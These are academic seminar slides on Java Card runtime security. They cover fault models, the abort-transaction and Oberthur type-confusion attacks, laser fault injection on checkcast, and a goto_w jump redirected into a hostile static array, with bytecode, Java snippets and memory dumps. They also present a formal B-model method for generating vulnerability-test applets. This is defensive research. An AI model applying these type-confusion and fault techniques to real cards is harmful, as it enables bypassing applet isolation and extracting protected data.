Vulnerability analysis of a smart card Run Time

Séminaire méthodes formelles et sécurité

Rennes, January the 6th

Jean-Louis Lanet
Jean-louis.lanet@unilim.fr
Agenda

• The context
• The Java Card security model
• State of the art concerning logical attacks on Java Card
• Vulnerability analysis
Java Card Deployment Model

• Until now: one platform, one application, one certification
• In a (really) close future
  – A new business model + a new deployment model + a new certification model = hard
  – Business Model = the Basic Application
  – Deployment Model = the Store
  – Certification Model = Composition
• Vulnerability: security of the sensitive applications.
Key Concepts

• Certification is composable,
  – One certifies independently a platform and sensitive applications,
  – A Basic Application can be certified using Rules,
  – Any issuer can play with such elements like a Lego,
  – The result is a safe composition.

• Benefit is obvious: safe cost and delay.

• Is certification a process that can be used in a composition model ?
  – Certification in the sense of Security Certification,
  – Functionality and testing process must be composable,
  – Is if both processes are completely independent no in any other cases.
Main hypotheses

- Every certified platform is based on a certified IC (CC), which guarantee integrity and confidentiality,
- The target platform has been certified as an open platform,
- Application isolation is provided by the platform and a set of rules,
- Sensitive application are certified using CC or EMVCo;
- Basic Application are certified using a set of rules.

- Is the set of rules complete?
- Is the isolation perfect?
- Is the platform resistant to fault attack?
Vulnerability against Hostile Code

- Is the Java Card security model conforms with such a deployment model?
  - A quick overview of the Java Card security model.

- Is the state of the art in the attacker model conforms with the Java Card security model?
  - A quick overview of the most recent attacks on Java Card.

- Can the attacker knowledge be improved?
  - A quick overview on a new vulnerability analysis.
Agenda

• The context
• The Java Card security model
• State of the art concerning logical attacks on Java Card
• Vulnerability analysis
Introduction

• Java Card security
  – Strong typing → byte code verification
    • Java is a strongly typed language,
    • These properties are verified at the source level by the compiler and at the BC level by the verifier,
    • Unable to forge or manipulate references.
    • **For development cards it is possible to modify the CAP file after the verification**
Java Card Architecture

Java source code -> Development Library

Java Compiler

Java Class files

Java Card Virtual Machine

API
Interpreter
O.S.

On-card loader

Off-card loader

Byte code verifier, converter, and signer

Card Image

Java Card files

.capture

On-card loader

Image
Java Card Architecture

Development platform

Java source code

Development Library

Java Class files

* .java

Java Compiler

Byte code verifier, converter,

Signer

Off-card loader

Card Image

Java Card Virtual Machine

On-card loader

API

Interpreter

O.S.

Joint

Xlim

Java Card files

Java Class files

Signer

Off-card loader

Card Image

Java Card files

Java Compiler

Development Library

Java Class files

Java source code

* .java

Java Card Virtual Machine

On-card loader

API

Interpreter

O.S.

Xlim

Java Card files

Card Image
Java Card Architecture

Embedding the BCV is definitely not the solution
Java Card Architecture

Of the rules expresses the application must pass successfully the BCV process
In the real life…

• The Java environment hypotheses are different than Java card.
  – Fault can be injected into the card after issuance,
  – Interpreter cannot be an offensive interpreter,
  – But it can also not be a defensive one,
  – OT published a paper verifier or not you can execute ill typed applet,
  – Until now we have considered that the power of the attacker was limited to a single fault injection.
  • The CEA Leti demonstrated in 2011 that the dual fault is affordable,
  • The BSI considers now the dual fault as a standard.
Perturbation

• Perturbation attacks change the normal behaviour of an IC in order to create an exploitable error

• The behaviour is typically changed either by applying an external source of energy during the operation,

• For attackers, the typical external effects on an IC running a software application are as follows
  – Modifying a value read from memory during the read operation, (transient)
  – Modification of the Eeprom values, (permanent)
  – Modifying the program flow, various effects can be observed:
    • Skipping an instruction, Inverting a test, Generating a jump, Generating calculation errors
Mutant

• Definition
  – A piece of code that passed the BC verification during the loading phase or any certification or any static analysis, and has been loaded into the EEPROM area,
  – This code is modified by a fault attack,
  – It becomes hostile: illegal cast to parse the memory, access to other pieces of code, unwanted call to the Java Card API (getKey,…).

• Java Virtual machine uses an offensive interpreter
  – Fault attacks are not taken into account,
  – **Java Card** Virtual Machine needs some run time checks,
  – Sometime hardware based.
Example of mutant

**Bytecode**

- 00 : aload_0
- 01 : getfield 85 60
- 04 : invokevirtual 81 00
- 07 : ifeq 59
- 09 : ...

...  
59 : goto 66
61 : sipush 25345
64 : invokevirtual 6C 00
67 : return

**Octets**

- 00 : 18
- 01 : 83 85 60
- 04 : 8B 81 00
- 07 : 60 3B
- 09 : ...

...  
59 : 70 42
61 : 13 63 01
64 : 8D 6C 00
67 : 7A

**Java code**

```java
private void debit(APDU apdu) {
    if (pin.isValidated()) {
        // make the debit operation
    } else {
        ISOException.throwIt (SW_PIN_VERIFICATION_REQUIRED);
    }
}
```

**Stack**

```
aload_0  getfield #4  invokevirtual #18  ifeq 59 09: ...
```
Example of mutant

**Bytecode**

00 : aload_0
01 : getfield 85 60
04 : invokevirtual 81 00
07 : nop
08 : pop
09 : ...
59 : goto 66
61 : sipush 25345
64 : invokevirtual 6C 00
67 : return

**Octets**

00 : 18
01 : 83 85 60
04 : 8B 81 00
07 : 00
08 : 3B
09 : ...
59 : 70 42
61 : 13 63 01
64 : 8D 6C 00
67 : 7A

**Java code**

```java
private void debit(APDU apdu) {
    if (pin.isValidated()) {
        // make the debit operation
    } else {
        ISOException.throwIt (
            SW_PIN_VERIFICATION_REQUIRED);
    }
}
```

**Stack**

```
aload_0  getfield #4  invokevirtual #18  nop  pop  09: ...
```

---

*University of Liège*

**Faculté des Sciences et Techniques**

**SSD Team Xlim**
## Fault models

<table>
<thead>
<tr>
<th>Fault model</th>
<th>Timing</th>
<th>precision</th>
<th>location</th>
<th>fault type</th>
<th>Difficulty</th>
</tr>
</thead>
<tbody>
<tr>
<td>Precise bit error</td>
<td>total control</td>
<td>bit</td>
<td>total control</td>
<td>set (1) or reset (0)</td>
<td>++</td>
</tr>
<tr>
<td>Precise byte error</td>
<td>total control</td>
<td>byte</td>
<td>total control</td>
<td>set (0x00), reset (0xFF) or random</td>
<td>+</td>
</tr>
<tr>
<td>Unknown byte error</td>
<td>loose control</td>
<td>byte</td>
<td>no control</td>
<td>set (0x00) or reset (0xFF) or random</td>
<td>-</td>
</tr>
<tr>
<td>Unknown error</td>
<td>no control</td>
<td>variable</td>
<td>no control</td>
<td>set (0x00), reset (0xFF) or random</td>
<td>--</td>
</tr>
</tbody>
</table>
Introduction

• Java card security
  – Strong typing → byte code verification
  – Application isolation : firewall
    • Applets can access only their own objects, only if they have the same context (same Package Identifier *id est* AID),
    • Applets can communicate only if they use a shareable interface.
      – … but also through the APDU buffer,
      – Programming rules prohibit such a behavior.
SSD Team-Xlim
…only instances of classes are owned by applets classes themselves are not.
Introduction

- **Java card security**
  - Strong typing → byte code verification
  - Application isolation: firewall
  - Applet loading only if authenticated
    - Protocol SCP01-SCP02-SP03-SCP10 Global Platform,
    - It guarantees confidentiality and integrity,
    - Need to have the keys.
Warning

• The main hypothesis concerning composition was:
  – The applications are independent,
  – An ill typed application can break this segregation,
  – If ill typed applications can run this hypothesis is invalid.
• The Java Card security model fails at one point type verification after linking phase.
  – This is the reason why interpreters are partly defensive,
  – Which part of the BCV is implemented?
  – Is it possible to characterize this implementation?
Agenda

• The context
• The Java Card security model
• State of the art concerning logical attacks on Java Card
• Vulnerability analysis
A step further

• Bypass the limitation related to the byte code verifier,
• Evaluation of the Abort Transaction Attack,
  – Generate a type confusion using a well typed applet,
  – Attack developed by E. Poll et al.
Abusing the transaction mechanism

- De-allocation in case of abort,
  - The JCRE should de-allocate any object created during the transaction and reset references to such object to null.

```java
short [] localArrayOT = null;
JCSystem.beginTransaction ();
short [] arrayInsideT = new short[10];
localArrayOT = arrayInsideT;  // local variable
JCSystem.abortTransaction ();
byte[] arrayNewB = new byte[10];
```

- They all point on the same array and should have null,
- Some implementations don’t de-allocate the local variable,
- Some implementations reuse the freed reference.
Abusing the transaction mechanism

```
JCSYSTEMBEGINTRANSACTION();
```
Abusing the transaction mechanism

JCSysystembeginTransaction();
short[] arrayInsideT;

TOS
arrayInsideT null
localArrayOT null

Stack

Heap
Abusing the transaction mechanism

```java
JCSysstem.beginTransaction();
short[] arrayInsideT;
arrayInsideT = new short[10];
```

![Stack and Heap Diagram]

- Stack:
  - TOS
  - arrayInsideT
  - localArrayOT
  - @0xiiii
  - null

- Heap:

Univ de Limoges

SSD Team-Xlim
Abusing the transaction mechanism

```java
JCSysystem.beginTransaction();
short[] arrayInsideT;
arrayInsideT = new short[10];
localArrayOT = arrayInsideT;
```
Abusing the transaction mechanism

```java
JCSysytem.beginTransaction();
short[] arrayInsideT;
arrayInsideT = new short[10];
localArrayOT = arrayInsideT;
JCSysytem.abortTransaction();
```

Diagram:
- **Stack**
  - TOS
  - `localArrayOT` at `@0xiii`

- **Heap**
Abusing the transaction mechanism

```java
JCSysytem.beginTransaction();
short[] arrayInsideT;
arrayInsideT = new short[10];
localArrayOT = arrayInsideT;
JCSysytem.abortTransaction();
arrayNewB = new byte[10];
arrayNewB = new byte[10];
if ((object) arrayNewB == (object)localArrayOT) {...}  

it's TRUE
```
Type confusion

• We are able to perform type confusion
• If we create an object after the transaction, the first field corresponds often to the NON MODIFIABLE value of the array size,
• Modifying the first field using the reference on the object modifies the size of the array,
• We can dump the memory located after the array bypassing the firewall,
Counter measures

• The most efficient countermeasure:
  – disallow the abort Transaction !!!
  – implement it correctly.
The OT Attack

- The *Oberthur* attack is based on type confusion,
- The applet loaded in the card is correct i.e. cannot be rejected by a byte code verifier,
- The idea is to bypass the run time check made if the code impose a type conversion,
- Inject the energy during the check,
  - It is a transient fault,
  - The result can be the dump of the memory.
Java Type conversion

- Java imposes a type hierarchy:
Java Type conversion

- Java imposes a type hierarchy
- Polymorphism allows type conversion checked at run time

```
T2 t2;
T1 t1 = (T1) t2;
```

```
aload t2
checkcast T1
astore t1
```
Java Type conversion

- Java imposes a type hierarchy
- Polymorphism allows type conversion checked at run time

```
T2 t2;
T1 t1 = (T1) t2;
aload t2
checkcast T1
astore t1
```
Java Type conversion

- Java imposes a type hierarchy
- Polymorphism allows type conversion checked at run time

```java
T2 t2;
T3 t3 = (T3) t2;
```

```
aload t2
checkcast T3
astore t3
```

ClassCastException
The following class

- Define the class A with one field of type short,
  ```java
  public class A { short theSize = 0x00FF; }
  ```
- In the application defines instances,
  ```java
  public class Main {
      ...
      A a = new A();
      byte[] b = new byte [10]; b[0] = 1; b[1]=2;...
      ...
      a = (A) ((Object)b); // a & b point on the same object
      a.theSize = 0xFFFF;  // increases the size of the []
      // read and write your array...
  }
  ```
The Hazardous Type Confusion

- Confusion between a and b (header compatible)

Object seen as a A instance

```
HEADER
0x00FF
```

Object seen as a B instance

```
HEADER
0x01
0x02
0x03
0x04
```
The Hazardous Type Confusion

- Confusion between a and b (incompatible)
  
  ```java
  public class A {short theSize = 0x00FF;}
  public class B {C c = null;}
  
  Warning the firewall will play its role!
  ```
All what you need is... type confusion

- To force the type confusion

\[
\begin{align*}
    \text{a} &= \text{(A) b;} & \iff & \text{aload b} \\
    \text{checkcast A} \\
    \text{astore a}
\end{align*}
\]

- The BCV can check the applet it is a legal one,
- During run-time the checkcast instruction will generate an exception ClassCastException
Power analysis of the checkcast
Power analysis of the checkcast
Practical Laser Fault Injection

I/O Line

Power Consumption Signal

ClassCastException
throwing by-passed!!!

SSD Team-Xlim
Conclusion

- *Oberthur* made the experimentation on their own Java Card (white box)
- Their experimentation was on a JC 3.0 prototype, will probably run well on JC 2.2.x
- No ill-formed code has been loaded,
- But ill-formed code can be executed,
- It shows that the presence of BCV is helpless when combining HW and SW attacks.
Jump where you want: modus operandi

- The attack is based on loop for in the case where the jump is a long one.
  - In Java Card two instructions
    - goto (+/-127 bytes) and goto_w (+/-32767 bytes)
- Characterize the memory management algorithm of the operating system.
- Illuminate with a laser the code that contain the operand.
The loop for

```java
for (short i=0 ; i<n ; ++i)
{
    foo = (byte) 0xBA;
    bar = foo; foo = bar;
    bar = foo; foo = bar;
    bar = foo; foo = bar;
    bar = foo; foo = bar;
    bar = foo; foo = bar;
    bar = foo; foo = bar;
    bar = foo; foo = bar;
    bar = foo; foo = bar;
    bar = foo; foo = bar;
    // Few instructions have been hidden for a better meaning.
    bar = foo; foo = bar;
    bar = foo; foo = bar;
    bar = foo; foo = bar;
    bar = foo; foo = bar;
    bar = foo; foo = bar;
}
```

```assembly
0x00: sconst_0
0x01: sstore_1
0x02: sload_1
0x03: sconst_1
0x04: if_scmpge_w 00 7C
0x07: aload_0
0x08: bspush BA
0x0A: putfield_b 0
0x0C: aload_0
0x0D: getfield_b_this 0
0x0F: putfield_b 1
0xE3: aload_0
0xE4: getfield_b_this 1
0xE6: putfield_b 0
0xE8: sinc 1 1
0xEB: goto_w FF17
```
The loop for

```c
for (short i=0 ; i<n ; ++i) {
 foo = (byte) 0xBA;
 bar = foo; foo = bar;
 bar = foo; foo = bar;
 bar = foo; foo = bar;
 bar = foo; foo = bar;
// Few instructions have
// been hidden for a
// better meaning.
 bar = foo; foo = bar;
 bar = foo; foo = bar;
 bar = foo; foo = bar;
 bar = foo; foo = bar;
}
```

```
0x00: sconst_0
0x01: sstore_1
0x02: sload_1
0x03: sconst_1
0x04: if_scmpge_w 00 7C
0x07: aload_0
0x08: bspush BA
0x0A: putfield_b 0
0x0C: aload_0
0x0D: getfield_b_this 0
0x0F: putfield_b 1
// Few instructions have
// been hidden for a
// better meaning.
0xE3: aload_0
0xE4: getfield_b_this 1
0xE6: putfield_b 0
0xE8: sinc 1 1
0xEB: goto_w FF17
```
The loop for

0x00: sconst_0
0x01: sstore_1
0x02: sload_1
0x03: sconst_1
0x04: if_scmpge_w 00 7C
0x07: aload_0
0x08: bspush BA
0x0A: putfield_b 0
0x0C: aload_0
0x0D: getfield_b_this 0
0x0F: putfield_b 1
// Few instructions have
// been hidden for a
// better meaning.
0xE3: aload_0
0xE4: getfield_b_this 1
0xE6: putfield_b 0
0xE8: sinc 1 1
0xEB: goto_w 0017

23 bytes forward jump
Where to jump ?

• To my hostile array **CodeDump !!!**
• But I don’t know where my array is stored,
  – My first attack was successful due to the lack of BCV
  – I can use the second attack with the `abordTransaction` to understand how the memory is managed on this particular card,
  – A can stress my card by installing / deleting different applets of different sizes and deduce the allocation policy
  – In the tested cards it is the best fit algorithm, it places the static array just after the methods.
Where to jump

- In the first approach we have invoked a method
  - We needed to have an array that looks like a method,
  - Now we jump just over the header of the static Array,
  - The header length is between 3 to 6 bytes.

- For the following hostile static array:
  - public static byte[] codeDump = {(byte)0x7D, (byte)0x80, (byte)0x00, (byte)0x78};

- We just need to have an array filled with a lot of 00 (NOP)
  - public static byte[] codeDump = {(byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x7D, (byte)0x80, (byte)0x00, (byte)0x78};
Now play!

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xA7F0</td>
<td>18AE 0188 0018 AE00 8801 18AE 0188 0018</td>
</tr>
<tr>
<td>0xA800</td>
<td>AE00 88 01 18AE 0188 0018 AE00 8801 18AE</td>
</tr>
<tr>
<td>0xA810</td>
<td>0188 00 59 0101 A8FF 177A 008A 43C0 6C88</td>
</tr>
<tr>
<td>0xA820</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
</tr>
<tr>
<td>0xA830</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
</tr>
<tr>
<td>0xA840</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
</tr>
<tr>
<td>0xA850</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
</tr>
<tr>
<td>0xA860</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
</tr>
<tr>
<td>0xA870</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
</tr>
<tr>
<td>0xA880</td>
<td>007D 8000 7800 0000 0000 0000 0000 0000</td>
</tr>
</tbody>
</table>
Now play!

<table>
<thead>
<tr>
<th>Address</th>
<th>0x0A7F0</th>
<th>18AE</th>
<th>0188</th>
<th>0018</th>
<th>AE00</th>
<th>8801</th>
<th>18AE</th>
<th>0188</th>
<th>0018</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>0x0A800</td>
<td>AE00</td>
<td>8801</td>
<td>18AE</td>
<td>0188</td>
<td>0018</td>
<td>AE00</td>
<td>8801</td>
<td>18AE</td>
</tr>
<tr>
<td></td>
<td>0x0A810</td>
<td>0188</td>
<td>0059</td>
<td>0101</td>
<td>A8FF</td>
<td>177A</td>
<td>008A</td>
<td>43C0</td>
<td>6C88</td>
</tr>
<tr>
<td></td>
<td>0x0A820</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
<tr>
<td></td>
<td>0x0A830</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
<tr>
<td></td>
<td>0x0A840</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
<tr>
<td></td>
<td>0x0A850</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
<tr>
<td></td>
<td>0x0A860</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
<tr>
<td></td>
<td>0x0A870</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
<tr>
<td></td>
<td>0x0A880</td>
<td>007D</td>
<td>8000</td>
<td>7800</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
<td>0000</td>
</tr>
</tbody>
</table>

SSD Team-Xlim
Now play!

<table>
<thead>
<tr>
<th>Address</th>
<th>Bits</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xA7F0</td>
<td>18AE 0188 0018 AE00 8801 18AE 0188 0018</td>
</tr>
<tr>
<td>0xA800</td>
<td>AE00 88 01 18AE 0188 0018 AE00 8801 18AE</td>
</tr>
<tr>
<td>0xA810</td>
<td>0188 00 59 0101 A800 177A 008A 43C0 6C88</td>
</tr>
<tr>
<td>0xA820</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
</tr>
<tr>
<td>0xA830</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
</tr>
<tr>
<td>0xA840</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
</tr>
<tr>
<td>0xA850</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
</tr>
<tr>
<td>0xA860</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
</tr>
<tr>
<td>0xA870</td>
<td>0000 0000 0000 0000 0000 0000 0000 0000</td>
</tr>
<tr>
<td>0xA880</td>
<td>007D 8000 7800 0000 0000 0000 0000 0000</td>
</tr>
</tbody>
</table>

SSD Team-Xlim
About the laser beam

• We did not inject the laser beam, it is just a proof of concept,
• In the first attack
  – We can change the control flow graph
  – Without on card BCV
• In the latest
  – We can change the control flow graph
  – With on card BCV
• The malicious array can contain what you want. An array will never be type checked.
Warning

• The main hypothesis concerning composition was:
  – The applications are independent,
  – OT and us have shown that ill typed applications can be executed,
  – This hypothesis is invalid.

• Is it possible to characterize an implementation?
  – Difficult because we need many tests that are very difficult to set up.
  – Hypothesis: the VM of a development card is the same as a product.
Vulnerability analysis

• Can we automatically build Java Card applets in order to test the vulnerabilities of the platform?
  – The idea is to model the verifier and to automatically generate for each instruction an applet,
  – Each applet must test only one feature of an instruction.
  – PoC: the subset of Freund & Mitchell
  – Generate vulnerability tests from a formal specification
    • Reach a given state with a invalid pre condition,
    • If the applet is correctly interpreted the related test is not implemented,
    • Use of a B to model the verifier.
Freud & Mitchell subset

**Inc** adds one to the integer in top of stack.

**Push0** pushes integer on stack.

**Pop** removes the top element of the stack.

**If L** jumps to L or to next instruction according to the value of the integer L.

**Istore x** removes the integer from the top of stack and puts it into local variable x.

**Iload x** loads value from local variable x and puts it on top of stack.

**Halt** terminates program execution.

**New s** allocates a new uninitialized object of type s on the top of stack.

**Init s** initializes the object of type s on the top of stack.

**Use s** performs an operation on a initialized object of type s.
The B Model

• Informal specification of the \textbf{Inc} instruction:
  – Inc takes an integer on top of the stack and add one to this integer

\texttt{ins\_inc = \text{SELECT} (methode (jpc) = inc )
\quad \text{THEN}
\quad \text{IF} (jpc < size (methode) \land top\_stack>0 \land types\_stacks(top\_stack)=\text{INTEGERS})
\quad \quad \text{THEN } jpc := jpc + 1
\quad \text{END}
\quad \text{END;}

  – As precondition each pre condition must be false we generate several test cases,
    • \texttt{jpc > size (methode) and jpc = size (methode)}
    • \texttt{top\_stack= 0 and top\_stack<0}
    • \texttt{types\_stacks(top\_stack)=Uobj and types\_stacks(top\_stack)=Obj}
Building the test case
Building the test case

\[
types_{\text{stacks}}(\text{top}\_\text{stack}) = \text{INTEGERS}
\]

- Pre condition negation generator
- Postamble generation
- Preamble generation
- Preamble Error Postamble
- Applet generation

SSD Team-Xlim
Building the test case

```plaintext
Pre condition negation generator

Model

Preamble generation

Applet generation

Preamble Error Postamble

1. `types_stacks(top_stack) = INTEGERS`
2. `types_stacks(top_stack) = Empty`
3. `types_stacks(top_stack) = Uobj`
4. `types_stacks(top_stack) = Obj`
```
Building the test case

- **Model**
  - $\text{types\_stacks(top\_stack)} = \text{INTEGERS}$
  - $\emptyset$
  - New, New, Init

- **Pre condition negation generator**
  - $\text{types\_stacks(top\_stack)} = \text{Empty}$
  - $\text{types\_stacks(top\_stack)} = \text{Uobj}$
  - $\text{types\_stacks(top\_stack)} = \text{Obj}$

- **Preamble generation**
  - Preamble

- **Postamble generation**
  - Postamble

- **Applet generation**
  - Applet
Building the test case

**Precondition negation generator**

*types_stacks(top_stack)=Empty*
*types_stacks(top_stack)=Uobj*
*types_stacks(top_stack)=Obj*

**Postamble generation**

*Pop; Halt Pop; Halt Pop; Halt*

**Preamble generation**

*∅ New, New, Init*

**Preamble Error Postamble**

**Applet generation**

SSD Team-Xlim
Building the test case

- **Precondition negation generator**
  - \( \text{types}_\text{stacks}(\text{top}_\text{stack}) = \text{Empty} \)
  - \( \text{types}_\text{stacks}(\text{top}_\text{stack}) = \text{Uobj} \)
  - \( \text{types}_\text{stacks}(\text{top}_\text{stack}) = \text{Obj} \)

- **Preamble generation**
  - \( \varnothing, \text{New, New, Init} \)

- **Postamble generation**
  - \( \text{Inc; Pop; Halt} \)
  - \( \text{New; Inc; Pop; Halt} \)
  - \( \text{New; Init; Inc; Pop; Halt} \)

- **Model**
  - \( \text{types}_\text{stacks}(\text{top}_\text{stack}) = \text{INTEGERS} \)
ProbB Model checker

• The ProB model checker is used to find a trace,
  – The preamble,
  – The post amble,
• From the initial state (stack, pc, local) it finds a set of instructions to reach to the expected state (before the instruction under test),
• The model is written using Event B,
Status

- PoC finished,
- Automatic rewriting of the models,
- Use of the ProB model checker to find the pre amble and the post amble,
- Partly integrated into the Rodin platform as a plugin.
- The CapMap tool to integrate the set of instruction into an applet.
- Expecting a PhD student on this topic;
Any question?

http://secinfo.msi.unilim.fr/